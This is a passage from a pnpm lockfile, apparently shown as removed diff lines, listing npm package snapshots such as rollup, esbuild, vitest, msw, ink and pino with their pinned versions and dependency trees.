'@msgpackr-extract/msgpackr-extract-darwin-arm64@3.0.3': - optional: true - - '@msgpackr-extract/msgpackr-extract-darwin-x64@3.0.3': - optional: true - - '@msgpackr-extract/msgpackr-extract-linux-arm64@3.0.3': - optional: true - - '@msgpackr-extract/msgpackr-extract-linux-arm@3.0.3': - optional: true - - '@msgpackr-extract/msgpackr-extract-linux-x64@3.0.3': - optional: true - - '@msgpackr-extract/msgpackr-extract-win32-x64@3.0.3': - optional: true - - '@mswjs/interceptors@0.40.0': - dependencies: - '@open-draft/deferred-promise': 2.2.0 - '@open-draft/logger': 0.3.0 - '@open-draft/until': 2.1.0 - is-node-process: 1.2.0 - outvariant: 1.4.3 - strict-event-emitter: 0.5.1 - - '@nodelib/fs.scandir@2.1.5': - dependencies: - '@nodelib/fs.stat': 2.0.5 - run-parallel: 1.2.0 - - '@nodelib/fs.stat@2.0.5': {} - - '@nodelib/fs.walk@1.2.8': - dependencies: - '@nodelib/fs.scandir': 2.1.5 - fastq: 1.20.1 - - '@open-draft/deferred-promise@2.2.0': {} - - '@open-draft/logger@0.3.0': - dependencies: - is-node-process: 1.2.0 - outvariant: 1.4.3 - - '@open-draft/until@2.1.0': {} - - '@parcel/watcher-android-arm64@2.5.6': - optional: true - - '@parcel/watcher-darwin-arm64@2.5.6': - optional: true - - '@parcel/watcher-darwin-x64@2.5.6': - optional: true - - '@parcel/watcher-freebsd-x64@2.5.6': - optional: true - - '@parcel/watcher-linux-arm-glibc@2.5.6': - optional: true - - '@parcel/watcher-linux-arm-musl@2.5.6': - optional: true - - '@parcel/watcher-linux-arm64-glibc@2.5.6': - optional: true - - '@parcel/watcher-linux-arm64-musl@2.5.6': - optional: true - - '@parcel/watcher-linux-x64-glibc@2.5.6': - optional: true - - '@parcel/watcher-linux-x64-musl@2.5.6': - optional: true - - '@parcel/watcher-win32-arm64@2.5.6': - optional: true - - '@parcel/watcher-win32-ia32@2.5.6': - optional: true - - '@parcel/watcher-win32-x64@2.5.6': - optional: true - - '@parcel/watcher@2.5.6': - dependencies: - detect-libc: 2.1.2 - is-glob: 4.0.3 - node-addon-api: 7.1.1 - picomatch: 4.0.3 - optionalDependencies: - '@parcel/watcher-android-arm64': 2.5.6 - '@parcel/watcher-darwin-arm64': 2.5.6 - '@parcel/watcher-darwin-x64': 2.5.6 - '@parcel/watcher-freebsd-x64': 2.5.6 - '@parcel/watcher-linux-arm-glibc': 2.5.6 - '@parcel/watcher-linux-arm-musl': 2.5.6 - '@parcel/watcher-linux-arm64-glibc': 2.5.6 - '@parcel/watcher-linux-arm64-musl': 2.5.6 - '@parcel/watcher-linux-x64-glibc': 2.5.6 - '@parcel/watcher-linux-x64-musl': 2.5.6 - '@parcel/watcher-win32-arm64': 2.5.6 - '@parcel/watcher-win32-ia32': 2.5.6 - '@parcel/watcher-win32-x64': 2.5.6 - - '@pinojs/redact@0.4.0': {} - - '@pkgjs/parseargs@0.11.0': - optional: true - - '@polka/url@1.0.0-next.29': {} - - '@rollup/rollup-android-arm-eabi@4.55.1': - optional: true - - '@rollup/rollup-android-arm64@4.55.1': - optional: true - - '@rollup/rollup-darwin-arm64@4.55.1': - optional: true - - '@rollup/rollup-darwin-x64@4.55.1': - optional: true - - '@rollup/rollup-freebsd-arm64@4.55.1': - optional: true - - '@rollup/rollup-freebsd-x64@4.55.1': - optional: true - - '@rollup/rollup-linux-arm-gnueabihf@4.55.1': - optional: true - - '@rollup/rollup-linux-arm-musleabihf@4.55.1': - optional: true - - '@rollup/rollup-linux-arm64-gnu@4.55.1': - optional: true - - '@rollup/rollup-linux-arm64-musl@4.55.1': - optional: true - - '@rollup/rollup-linux-loong64-gnu@4.55.1': - optional: true - - '@rollup/rollup-linux-loong64-musl@4.55.1': - optional: true - - '@rollup/rollup-linux-ppc64-gnu@4.55.1': - optional: true - - '@rollup/rollup-linux-ppc64-musl@4.55.1': - optional: true - - '@rollup/rollup-linux-riscv64-gnu@4.55.1': - optional: true - - '@rollup/rollup-linux-riscv64-musl@4.55.1': - optional: true - - '@rollup/rollup-linux-s390x-gnu@4.55.1': - optional: true - - '@rollup/rollup-linux-x64-gnu@4.55.1': - optional: true - - '@rollup/rollup-linux-x64-musl@4.55.1': - optional: true - - '@rollup/rollup-openbsd-x64@4.55.1': - optional: true - - '@rollup/rollup-openharmony-arm64@4.55.1': - optional: true - - '@rollup/rollup-win32-arm64-msvc@4.55.1': - optional: true - - '@rollup/rollup-win32-ia32-msvc@4.55.1': - optional: true - - '@rollup/rollup-win32-x64-gnu@4.55.1': - optional: true - - '@rollup/rollup-win32-x64-msvc@4.55.1': - optional: true - - '@standard-schema/spec@1.1.0': {} - - '@tanstack/query-core@5.90.16': {} - - '@tanstack/react-query@5.90.16(react@18.3.1)': - dependencies: - '@tanstack/query-core': 5.90.16 - react: 18.3.1 - - '@types/chai@5.2.3': - dependencies: - '@types/deep-eql': 4.0.2 - assertion-error: 2.0.1 - - '@types/deep-eql@4.0.2': {} - - '@types/estree@1.0.8': {} - - '@types/json-schema@7.0.15': {} - - '@types/node@12.20.55': {} - - '@types/node@22.19.3': - dependencies: - undici-types: 6.21.0 - - '@types/picomatch@4.0.2': {} - - '@types/prompts@2.4.9': - dependencies: - '@types/node': 22.19.3 - kleur: 3.0.3 - - '@types/prop-types@15.7.15': {} - - '@types/react@18.3.1': - dependencies: - '@types/prop-types': 15.7.15 - csstype: 3.2.3 - - '@types/semver@7.7.1': {} - - '@types/statuses@2.0.6': {} - - '@vitest/coverage-v8@3.2.4(vitest@3.2.4)': - dependencies: - '@ampproject/remapping': 2.3.0 - '@bcoe/v8-coverage': 1.0.2 - ast-v8-to-istanbul: 0.3.10 - debug: 4.4.3 - istanbul-lib-coverage: 3.2.2 - istanbul-lib-report: 3.0.1 - istanbul-lib-source-maps: 5.0.6 - istanbul-reports: 3.2.0 - magic-string: 0.30.21 - magicast: 0.3.5 - std-env: 3.10.0 - test-exclude: 7.0.1 - tinyrainbow: 2.0.0 - vitest: 3.2.4(@types/node@22.19.3)(@vitest/ui@3.2.4)(msw@2.12.7(@types/node@22.19.3)(typescript@5.9.3))(tsx@4.21.0)(yaml@2.8.2) - transitivePeerDependencies: - - supports-color - - '@vitest/expect@3.2.4': - dependencies: - '@types/chai': 5.2.3 - '@vitest/spy': 3.2.4 - '@vitest/utils': 3.2.4 - chai: 5.3.3 - tinyrainbow: 2.0.0 - - '@vitest/mocker@3.2.4(msw@2.12.7(@types/node@22.19.3)(typescript@5.9.3))(vite@7.3.1(@types/node@22.19.3)(tsx@4.21.0)(yaml@2.8.2))': - dependencies: - '@vitest/spy': 3.2.4 - estree-walker: 3.0.3 - magic-string: 0.30.21 - optionalDependencies: - msw: 2.12.7(@types/node@22.19.3)(typescript@5.9.3) - vite: 7.3.1(@types/node@22.19.3)(tsx@4.21.0)(yaml@2.8.2) - - '@vitest/pretty-format@3.2.4': - dependencies: - tinyrainbow: 2.0.0 - - '@vitest/runner@3.2.4': - dependencies: - '@vitest/utils': 3.2.4 - pathe: 2.0.3 - strip-literal: 3.1.0 - - '@vitest/snapshot@3.2.4': - dependencies: - '@vitest/pretty-format': 3.2.4 - magic-string: 0.30.21 - pathe: 2.0.3 - - '@vitest/spy@3.2.4': - dependencies: - tinyspy: 4.0.4 - - '@vitest/ui@3.2.4(vitest@3.2.4)': - dependencies: - '@vitest/utils': 3.2.4 - fflate: 0.8.2 - flatted: 3.3.3 - pathe: 2.0.3 - sirv: 3.0.2 - tinyglobby: 0.2.15 - tinyrainbow: 2.0.0 - vitest: 3.2.4(@types/node@22.19.3)(@vitest/ui@3.2.4)(msw@2.12.7(@types/node@22.19.3)(typescript@5.9.3))(tsx@4.21.0)(yaml@2.8.2) - - '@vitest/utils@3.2.4': - dependencies: - '@vitest/pretty-format': 3.2.4 - loupe: 3.2.1 - tinyrainbow: 2.0.0 - - ansi-colors@4.1.3: {} - - ansi-escapes@7.2.0: - dependencies: - environment: 1.1.0 - - ansi-regex@5.0.1: {} - - ansi-regex@6.2.2: {} - - ansi-styles@4.3.0: - dependencies: - color-convert: 2.0.1 - - ansi-styles@6.2.3: {} - - argparse@1.0.10: - dependencies: - sprintf-js: 1.0.3 - - argparse@2.0.1: {} - - arkregex@0.0.5: - dependencies: - '@ark/util': 0.56.0 - - arktype@2.1.29: - dependencies: - '@ark/schema': 0.56.0 - '@ark/util': 0.56.0 - arkregex: 0.0.5 - - array-union@2.1.0: {} - - assertion-error@2.0.1: {} - - ast-v8-to-istanbul@0.3.10: - dependencies: - '@jridgewell/trace-mapping': 0.3.31 - estree-walker: 3.0.3 - js-tokens: 9.0.1 - - atomic-sleep@1.0.0: {} - - auto-bind@5.0.1: {} - - balanced-match@1.0.2: {} - - better-path-resolve@1.0.0: - dependencies: - is-windows: 1.0.2 - - brace-expansion@2.0.2: - dependencies: - balanced-match: 1.0.2 - - braces@3.0.3: - dependencies: - fill-range: 7.1.1 - - bundle-name@4.1.0: - dependencies: - run-applescript: 7.1.0 - - cac@6.7.14: {} - - chai@5.3.3: - dependencies: - assertion-error: 2.0.1 - check-error: 2.1.3 - deep-eql: 5.0.2 - loupe: 3.2.1 - pathval: 2.0.1 - - chalk@5.6.2: {} - - chardet@2.1.1: {} - - check-error@2.1.3: {} - - ci-info@3.9.0: {} - - cli-boxes@3.0.0: {} - - cli-cursor@4.0.0: - dependencies: - restore-cursor: 4.0.0 - - cli-spinners@3.3.0: {} - - cli-truncate@4.0.0: - dependencies: - slice-ansi: 5.0.0 - string-width: 7.2.0 - - cli-width@4.1.0: {} - - cliui@8.0.1: - dependencies: - string-width: 4.2.3 - strip-ansi: 6.0.1 - wrap-ansi: 7.0.0 - - code-excerpt@4.0.0: - dependencies: - convert-to-spaces: 2.0.1 - - color-convert@2.0.1: - dependencies: - color-name: 1.1.4 - - color-name@1.1.4: {} - - colorette@2.0.20: {} - - convert-to-spaces@2.0.1: {} - - cookie@1.1.1: {} - - copy-to-clipboard@3.3.3: - dependencies: - toggle-selection: 1.0.6 - - cross-spawn@7.0.6: - dependencies: - path-key: 3.1.1 - shebang-command: 2.0.0 - which: 2.0.2 - - csstype@3.2.3: {} - - dateformat@4.6.3: {} - - debug@4.4.3: - dependencies: - ms: 2.1.3 - - deep-eql@5.0.2: {} - - deepmerge@4.3.1: {} - - default-browser-id@5.0.1: {} - - default-browser@5.4.0: - dependencies: - bundle-name: 4.1.0 - default-browser-id: 5.0.1 - - define-lazy-prop@3.0.0: {} - - detect-indent@6.1.0: {} - - detect-libc@2.1.2: {} - - dir-glob@3.0.1: - dependencies: - path-type: 4.0.0 - - eastasianwidth@0.2.0: {} - - effect@3.19.19: - dependencies: - '@standard-schema/spec': 1.1.0 - fast-check: 3.23.2 - - emoji-regex@10.6.0: {} - - emoji-regex@8.0.0: {} - - emoji-regex@9.2.2: {} - - end-of-stream@1.4.5: - dependencies: - once: 1.4.0 - - enquirer@2.4.1: - dependencies: - ansi-colors: 4.1.3 - strip-ansi: 6.0.1 - - environment@1.1.0: {} - - es-module-lexer@1.7.0: {} - - es-toolkit@1.43.0: {} - - esbuild@0.25.12: - optionalDependencies: - '@esbuild/aix-ppc64': 0.25.12 - '@esbuild/android-arm': 0.25.12 - '@esbuild/android-arm64': 0.25.12 - '@esbuild/android-x64': 0.25.12 - '@esbuild/darwin-arm64': 0.25.12 - '@esbuild/darwin-x64': 0.25.12 - '@esbuild/freebsd-arm64': 0.25.12 - '@esbuild/freebsd-x64': 0.25.12 - '@esbuild/linux-arm': 0.25.12 - '@esbuild/linux-arm64': 0.25.12 - '@esbuild/linux-ia32': 0.25.12 - '@esbuild/linux-loong64': 0.25.12 - '@esbuild/linux-mips64el': 0.25.12 - '@esbuild/linux-ppc64': 0.25.12 - '@esbuild/linux-riscv64': 0.25.12 - '@esbuild/linux-s390x': 0.25.12 - '@esbuild/linux-x64': 0.25.12 - '@esbuild/netbsd-arm64': 0.25.12 - '@esbuild/netbsd-x64': 0.25.12 - '@esbuild/openbsd-arm64': 0.25.12 - '@esbuild/openbsd-x64': 0.25.12 - '@esbuild/openharmony-arm64': 0.25.12 - '@esbuild/sunos-x64': 0.25.12 - '@esbuild/win32-arm64': 0.25.12 - '@esbuild/win32-ia32': 0.25.12 - '@esbuild/win32-x64': 0.25.12 - - esbuild@0.27.2: - optionalDependencies: - '@esbuild/aix-ppc64': 0.27.2 - '@esbuild/android-arm': 0.27.2 - '@esbuild/android-arm64': 0.27.2 - '@esbuild/android-x64': 0.27.2 - '@esbuild/darwin-arm64': 0.27.2 - '@esbuild/darwin-x64': 0.27.2 - '@esbuild/freebsd-arm64': 0.27.2 - '@esbuild/freebsd-x64': 0.27.2 - '@esbuild/linux-arm': 0.27.2 - '@esbuild/linux-arm64': 0.27.2 - '@esbuild/linux-ia32': 0.27.2 - '@esbuild/linux-loong64': 0.27.2 - '@esbuild/linux-mips64el': 0.27.2 - '@esbuild/linux-ppc64': 0.27.2 - '@esbuild/linux-riscv64': 0.27.2 - '@esbuild/linux-s390x': 0.27.2 - '@esbuild/linux-x64': 0.27.2 - '@esbuild/netbsd-arm64': 0.27.2 - '@esbuild/netbsd-x64': 0.27.2 - '@esbuild/openbsd-arm64': 0.27.2 - '@esbuild/openbsd-x64': 0.27.2 - '@esbuild/openharmony-arm64': 0.27.2 - '@esbuild/sunos-x64': 0.27.2 - '@esbuild/win32-arm64': 0.27.2 - '@esbuild/win32-ia32': 0.27.2 - '@esbuild/win32-x64': 0.27.2 - - escalade@3.2.0: {} - - escape-string-regexp@2.0.0: {} - - esprima@4.0.1: {} - - estree-walker@3.0.3: - dependencies: - '@types/estree': 1.0.8 - - expect-type@1.3.0: {} - - extendable-error@0.1.7: {} - - fast-check@3.23.2: - dependencies: - pure-rand: 6.1.0 - - fast-copy@4.0.2: {} - - fast-glob@3.3.3: - dependencies: - '@nodelib/fs.stat': 2.0.5 - '@nodelib/fs.walk': 1.2.8 - glob-parent: 5.1.2 - merge2: 1.4.1 - micromatch: 4.0.8 - - fast-safe-stringify@2.1.1: {} - - fastq@1.20.1: - dependencies: - reusify: 1.1.0 - - fdir@6.5.0(picomatch@4.0.3): - optionalDependencies: - picomatch: 4.0.3 - - fflate@0.8.2: {} - - figures@6.1.0: - dependencies: - is-unicode-supported: 2.1.0 - - fill-range@7.1.1: - dependencies: - to-regex-range: 5.0.1 - - find-my-way-ts@0.1.6: {} - - find-up@4.1.0: - dependencies: - locate-path: 5.0.0 - path-exists: 4.0.0 - - flatted@3.3.3: {} - - foreground-child@3.3.1: - dependencies: - cross-spawn: 7.0.6 - signal-exit: 4.1.0 - - fs-extra@7.0.1: - dependencies: - graceful-fs: 4.2.11 - jsonfile: 4.0.0 - universalify: 0.1.2 - - fs-extra@8.1.0: - dependencies: - graceful-fs: 4.2.11 - jsonfile: 4.0.0 - universalify: 0.1.2 - - fsevents@2.3.3: - optional: true - - get-caller-file@2.0.5: {} - - get-east-asian-width@1.4.0: {} - - get-tsconfig@4.13.0: - dependencies: - resolve-pkg-maps: 1.0.0 - - glob-parent@5.1.2: - dependencies: - is-glob: 4.0.3 - - glob@10.5.0: - dependencies: - foreground-child: 3.3.1 - jackspeak: 3.4.3 - minimatch: 9.0.5 - minipass: 7.1.2 - package-json-from-dist: 1.0.1 - path-scurry: 1.11.1 - - globby@11.1.0: - dependencies: - array-union: 2.1.0 - dir-glob: 3.0.1 - fast-glob: 3.3.3 - ignore: 5.3.2 - merge2: 1.4.1 - slash: 3.0.0 - - gql.tada@1.9.0(graphql@16.12.0)(typescript@5.9.3): - dependencies: - '@0no-co/graphql.web': 1.2.0(graphql@16.12.0) - '@0no-co/graphqlsp': 1.15.2(graphql@16.12.0)(typescript@5.9.3) - '@gql.tada/cli-utils': 1.7.2(@0no-co/graphqlsp@1.15.2(graphql@16.12.0)(typescript@5.9.3))(graphql@16.12.0)(typescript@5.9.3) - '@gql.tada/internal': 1.0.8(graphql@16.12.0)(typescript@5.9.3) - typescript: 5.9.3 - transitivePeerDependencies: - - '@gql.tada/svelte-support' - - '@gql.tada/vue-support' - - graphql - - graceful-fs@4.2.11: {} - - graphql-request@7.4.0(graphql@16.12.0): - dependencies: - '@graphql-typed-document-node/core': 3.2.0(graphql@16.12.0) - graphql: 16.12.0 - - graphql@16.12.0: {} - - has-flag@4.0.0: {} - - headers-polyfill@4.0.3: {} - - help-me@5.0.0: {} - - html-escaper@2.0.2: {} - - human-id@4.1.3: {} - - iconv-lite@0.7.2: - dependencies: - safer-buffer: 2.1.2 - - ignore@5.3.2: {} - - indent-string@5.0.0: {} - - ini@4.1.3: {} - - ink-select-input@6.2.0(ink@5.2.1(@types/react@18.3.1)(react@18.3.1))(react@18.3.1): - dependencies: - figures: 6.1.0 - ink: 5.2.1(@types/react@18.3.1)(react@18.3.1) - react: 18.3.1 - to-rotated: 1.0.0 - - ink@5.2.1(@types/react@18.3.1)(react@18.3.1): - dependencies: - '@alcalzone/ansi-tokenize': 0.1.3 - ansi-escapes: 7.2.0 - ansi-styles: 6.2.3 - auto-bind: 5.0.1 - chalk: 5.6.2 - cli-boxes: 3.0.0 - cli-cursor: 4.0.0 - cli-truncate: 4.0.0 - code-excerpt: 4.0.0 - es-toolkit: 1.43.0 - indent-string: 5.0.0 - is-in-ci: 1.0.0 - patch-console: 2.0.0 - react: 18.3.1 - react-reconciler: 0.29.2(react@18.3.1) - scheduler: 0.23.2 - signal-exit: 3.0.7 - slice-ansi: 7.1.2 - stack-utils: 2.0.6 - string-width: 7.2.0 - type-fest: 4.41.0 - widest-line: 5.0.0 - wrap-ansi: 9.0.2 - ws: 8.19.0 - yoga-layout: 3.2.1 - optionalDependencies: - '@types/react': 18.3.1 - transitivePeerDependencies: - - bufferutil - - utf-8-validate - - is-docker@3.0.0: {} - - is-extglob@2.1.1: {} - - is-fullwidth-code-point@3.0.0: {} - - is-fullwidth-code-point@4.0.0: {} - - is-fullwidth-code-point@5.1.0: - dependencies: - get-east-asian-width: 1.4.0 - - is-glob@4.0.3: - dependencies: - is-extglob: 2.1.1 - - is-in-ci@1.0.0: {} - - is-inside-container@1.0.0: - dependencies: - is-docker: 3.0.0 - - is-node-process@1.2.0: {} - - is-number@7.0.0: {} - - is-subdir@1.2.0: - dependencies: - better-path-resolve: 1.0.0 - - is-unicode-supported@2.1.0: {} - - is-windows@1.0.2: {} - - is-wsl@3.1.0: - dependencies: - is-inside-container: 1.0.0 - - isexe@2.0.0: {} - - istanbul-lib-coverage@3.2.2: {} - - istanbul-lib-report@3.0.1: - dependencies: - istanbul-lib-coverage: 3.2.2 - make-dir: 4.0.0 - supports-color: 7.2.0 - - istanbul-lib-source-maps@5.0.6: - dependencies: - '@jridgewell/trace-mapping': 0.3.31 - debug: 4.4.3 - istanbul-lib-coverage: 3.2.2 - transitivePeerDependencies: - - supports-color - - istanbul-reports@3.2.0: - dependencies: - html-escaper: 2.0.2 - istanbul-lib-report: 3.0.1 - - jackspeak@3.4.3: - dependencies: - '@isaacs/cliui': 8.0.2 - optionalDependencies: - '@pkgjs/parseargs': 0.11.0 - - joycon@3.1.1: {} - - js-tokens@4.0.0: {} - - js-tokens@9.0.1: {} - - js-yaml@3.14.2: - dependencies: - argparse: 1.0.10 - esprima: 4.0.1 - - js-yaml@4.1.1: - dependencies: - argparse: 2.0.1 - - jsonfile@4.0.0: - optionalDependencies: - graceful-fs: 4.2.11 - - kleur@3.0.3: {} - - kubernetes-types@1.30.0: {} - - locate-path@5.0.0: - dependencies: - p-locate: 4.1.0 - - lodash.startcase@4.4.0: {} - - loose-envify@1.4.0: - dependencies: - js-tokens: 4.0.0 - - loupe@3.2.1: {} - - lru-cache@10.4.3: {} - - magic-string@0.30.21: - dependencies: - '@jridgewell/sourcemap-codec': 1.5.5 - - magicast@0.3.5: - dependencies: - '@babel/parser': 7.28.5 - '@babel/types': 7.28.5 - source-map-js: 1.2.1 - - make-dir@4.0.0: - dependencies: - semver: 7.7.3 - - merge2@1.4.1: {} - - micromatch@4.0.8: - dependencies: - braces: 3.0.3 - picomatch: 2.3.1 - - mime@3.0.0: {} - - mimic-fn@2.1.0: {} - - minimatch@9.0.5: - dependencies: - brace-expansion: 2.0.2 - - minimist@1.2.8: {} - - minipass@7.1.2: {} - - mri@1.2.0: {} - - mrmime@2.0.1: {} - - ms@2.1.3: {} - - msgpackr-extract@3.0.3: - dependencies: - node-gyp-build-optional-packages: 5.2.2 - optionalDependencies: - '@msgpackr-extract/msgpackr-extract-darwin-arm64': 3.0.3 - '@msgpackr-extract/msgpackr-extract-darwin-x64': 3.0.3 - '@msgpackr-extract/msgpackr-extract-linux-arm': 3.0.3 - '@msgpackr-extract/msgpackr-extract-linux-arm64': 3.0.3 - '@msgpackr-extract/msgpackr-extract-linux-x64': 3.0.3 - '@msgpackr-extract/msgpackr-extract-win32-x64': 3.0.3 - optional: true - - msgpackr@1.11.8: - optionalDependencies: - msgpackr-extract: 3.0.3 - - msw@2.12.7(@types/node@22.19.3)(typescript@5.9.3): - dependencies: - '@inquirer/confirm': 5.1.21(@types/node@22.19.3) - '@mswjs/interceptors': 0.40.0 - '@open-draft/deferred-promise': 2.2.0 - '@types/statuses': 2.0.6 - cookie: 1.1.1 - graphql: 16.12.0 - headers-polyfill: 4.0.3 - is-node-process: 1.2.0 - outvariant: 1.4.3 - path-to-regexp: 6.3.0 - picocolors: 1.1.1 - rettime: 0.7.0 - statuses: 2.0.2 - strict-event-emitter: 0.5.1 - tough-cookie: 6.0.0 - type-fest: 5.3.1 - until-async: 3.0.2 - yargs: 17.7.2 - optionalDependencies: - typescript: 5.9.3 - transitivePeerDependencies: - - '@types/node' - - multipasta@0.2.7: {} - - mute-stream@2.0.0: {} - - nanoid@3.3.11: {} - - node-addon-api@7.1.1: {} - - node-gyp-build-optional-packages@5.2.2: - dependencies: - detect-libc: 2.1.2 - optional: true - - on-exit-leak-free@2.1.2: {} - - once@1.4.0: - dependencies: - wrappy: 1.0.2 - - onetime@5.1.2: - dependencies: - mimic-fn: 2.1.0 - - open@10.2.0: - dependencies: - default-browser: 5.4.0 - define-lazy-prop: 3.0.0 - is-inside-container: 1.0.0 - wsl-utils: 0.1.0 - - outdent@0.5.0: {} - - outvariant@1.4.3: {} - - p-filter@2.1.0: - dependencies: - p-map: 2.1.0 - - p-limit@2.3.0: - dependencies: - p-try: 2.2.0 - - p-locate@4.1.0: - dependencies: - p-limit: 2.3.0 - - p-map@2.1.0: {} - - p-try@2.2.0: {} - - package-json-from-dist@1.0.1: {} - - package-manager-detector@0.2.11: - dependencies: - quansync: 0.2.11 - - patch-console@2.0.0: {} - - path-exists@4.0.0: {} - - path-key@3.1.1: {} - - path-scurry@1.11.1: - dependencies: - lru-cache: 10.4.3 - minipass: 7.1.2 - - path-to-regexp@6.3.0: {} - - path-type@4.0.0: {} - - pathe@2.0.3: {} - - pathval@2.0.1: {} - - picocolors@1.1.1: {} - - picomatch@2.3.1: {} - - picomatch@4.0.3: {} - - pify@4.0.1: {} - - pino-abstract-transport@2.0.0: - dependencies: - split2: 4.2.0 - - pino-abstract-transport@3.0.0: - dependencies: - split2: 4.2.0 - - pino-pretty@13.1.3: - dependencies: - colorette: 2.0.20 - dateformat: 4.6.3 - fast-copy: 4.0.2 - fast-safe-stringify: 2.1.1 - help-me: 5.0.0 - joycon: 3.1.1 - minimist: 1.2.8 - on-exit-leak-free: 2.1.2 - pino-abstract-transport: 3.0.0 - pump: 3.0.3 - secure-json-parse: 4.1.0 - sonic-boom: 4.2.0 - strip-json-comments: 5.0.3 - - pino-std-serializers@7.0.0: {} - - pino@9.14.0: - dependencies: - '@pinojs/redact': 0.4.0 - atomic-sleep: 1.0.0 - on-exit-leak-free: 2.1.2 - pino-abstract-transport: 2.0.0 - pino-std-serializers: 7.0.0 - process-warning: 5.0.0 - quick-format-unescaped: 4.0.4 - real-require: 0.2.0 - safe-stable-stringify: 2.5.0 - sonic-boom: 4.2.0 - thread-stream: 3.1.0 - - postcss@8.5.6: - dependencies: - nanoid: 3.3.11 - picocolors: 1.1.1 - source-map-js: 1.2.1 - - prettier@2.8.8: {} - - process-warning@5.0.0: {} - - pump@3.0.3: - dependencies: - end-of-stream: 1.4.5 - once: 1.4.0 - - pure-rand@6.1.0: {} - - quansync@0.2.11: {} - - queue-microtask@1.2.3: {} - - quick-format-unescaped@4.0.4: {} - - react-reconciler@0.29.2(react@18.3.1): - dependencies: - loose-envify: 1.4.0 - react: 18.3.1 - scheduler: 0.23.2 - - react@18.3.1: - dependencies: - loose-envify: 1.4.0 - - read-yaml-file@1.1.0: - dependencies: - graceful-fs: 4.2.11 - js-yaml: 3.14.2 - pify: 4.0.1 - strip-bom: 3.0.0 - - real-require@0.2.0: {} - - require-directory@2.1.1: {} - - resolve-from@5.0.0: {} - - resolve-pkg-maps@1.0.0: {} - - restore-cursor@4.0.0: - dependencies: - onetime: 5.1.2 - signal-exit: 3.0.7 - - rettime@0.7.0: {} - - reusify@1.1.0: {} - - rollup@4.55.1: - dependencies: - '@types/estree': 1.0.8 - optionalDependencies: - '@rollup/rollup-android-arm-eabi': 4.55.1 - '@rollup/rollup-android-arm64': 4.55.1 - '@rollup/rollup-darwin-arm64': 4.55.1 - '@rollup/rollup-darwin-x64': 4.55.1 - '@rollup/rollup-freebsd-arm64': 4.55.1 - '@rollup/rollup-freebsd-x64': 4.55.1 - '@rollup/rollup-linux-arm-gnueabihf': 4.55.1 - '@rollup/rollup-linux-arm-musleabihf': 4.55.1 - '@rollup/rollup-linux-arm64-gnu': 4.55.1 - '@rollup/rollup-linux-arm64-musl': 4.55.1 - '@rollup/rollup-linux-loong64-gnu': 4.55.1 - '@rollup/rollup-linux-loong64-musl': 4.55.1 - '@rollup/rollup-linux-ppc64-gnu': 4.55.1 - '@rollup/rollup-linux-ppc64-musl': 4.55.1 - '@rollup/rollup-linux-riscv64-gnu': 4.55.1 - '@rollup/rollup-linux-riscv64-musl': 4.55.1 - '@rollup/rollup-linux-s390x-gnu': 4.55.1 - '@rollup/rollup-linux-x64-gnu': 4.55.1 - '@rollup/rollup-linux-x64-musl': 4.55.1 - '@rollup/rollup-openbsd-x64': 4.55.1 - '@rollup/rollup-openharmony-arm64': 4.55.1 - '@rollup/rollup-win32-arm64-msvc': 4.55.1 - '@rollup/rollup-win32-ia32-msvc': 4.55.1 - '@rollup/rollup-win32-x64-gnu': 4.55.1 - '@rollup/rollup-win32-x64-msvc': 4.55.1 - fsevents: 2.3.3 - - run-applescript@7.1.0: {} - - run-parallel@1.2.0: - dependencies: - queue-microtask: 1.2.3 - - safe-stable-stringify@2.5.0: {} - - safer-buffer@2.1.2: {} - - scheduler@0.23.2: - dependencies: - loose-envify: 1.4.0 - - secure-json-parse@4.1.0: {} - - semver@7.7.3: {} - - shebang-command@2.0.0: - dependencies: - shebang-regex: 3.0.0 - - shebang-regex@3.0.0: {} - - siginfo@2.0.0: {} - - signal-exit@3.0.7: {} - - signal-exit@4.1.0: {} - - sirv@3.0.2: - dependencies: - '@polka/url': 1.0.0-next.29 - mrmime: 2.0.1 - totalist: 3.0.1 - - sisteransi@1.0.5: {} - - slash@3.0.0: {} - - slice-ansi@5.0.0: - dependencies: - ansi-styles: 6.2.3 - is-fullwidth-code-point: 4.0.0 - - slice-ansi@7.1.2: - dependencies: - ansi-styles: 6.2.3 - is-fullwidth-code-point: 5.1.0 - - sonic-boom@4.2.0: - dependencies: - atomic-sleep: 1.0.0 - - source-map-js@1.2.1: {} - - spawndamnit@3.0.1: - dependencies: - cross-spawn: 7.0.6 - signal-exit: 4.1.0 - - split2@4.2.0: {} - - sprintf-js@1.0.3: {} - - stack-utils@2.0.6: - dependencies: - escape-string-regexp: 2.0.0 - - stackback@0.0.2: {} - - statuses@2.0.2: {} - - std-env@3.10.0: {} - - strict-event-emitter@0.5.1: {} - - string-width@4.2.3: - dependencies: - emoji-regex: 8.0.0 - is-fullwidth-code-point: 3.0.0 - strip-ansi: 6.0.1 - - string-width@5.1.2: - dependencies: - eastasianwidth: 0.2.0 - emoji-regex: 9.2.2 - strip-ansi: 7.1.2 - - string-width@7.2.0: - dependencies: - emoji-regex: 10.6.0 - get-east-asian-width: 1.4.0 - strip-ansi: 7.1.2 - - strip-ansi@6.0.1: - dependencies: - ansi-regex: 5.0.1 - - strip-ansi@7.1.2: - dependencies: - ansi-regex: 6.2.2 - - strip-bom@3.0.0: {} - - strip-json-comments@5.0.3: {} - - strip-literal@3.1.0: - dependencies: - js-tokens: 9.0.1 - - supports-color@7.2.0: - dependencies: - has-flag: 4.0.0 - - tagged-tag@1.0.0: {} - - term-size@2.2.1: {} - - test-exclude@7.0.1: - dependencies: - '@istanbuljs/schema': 0.1.3 - glob: 10.5.0 - minimatch: 9.0.5 - - thread-stream@3.1.0: - dependencies: - real-require: 0.2.0 - - tinybench@2.9.0: {} - - tinyexec@0.3.2: {} - - tinyglobby@0.2.15: - dependencies: - fdir: 6.5.0(picomatch@4.0.3) - picomatch: 4.0.3 - - tinypool@1.1.1: {} - - tinyrainbow@2.0.0: {} - - tinyspy@4.0.4: {} - - tldts-core@7.0.19: {} - - tldts@7.0.19: - dependencies: - tldts-core: 7.0.19 - - to-regex-range@5.0.1: - dependencies: - is-number: 7.0.0 - - to-rotated@1.0.0: {} - - toggle-selection@1.0.6: {} - - toml@3.0.0: {} - - totalist@3.0.1: {} - - tough-cookie@6.0.0: - dependencies: - tldts: 7.0.19 - - tsx@4.21.0: - dependencies: - esbuild: 0.27.2 - get-tsconfig: 4.13.0 - optionalDependencies: - fsevents: 2.3.3 - - type-fest@4.41.0: {} - - type-fest@5.3.1: - dependencies: - tagged-tag: 1.0.0 - - typescript@5.9.3: {} - - undici-types@6.21.0: {} - - undici@7.22.0: {} - - 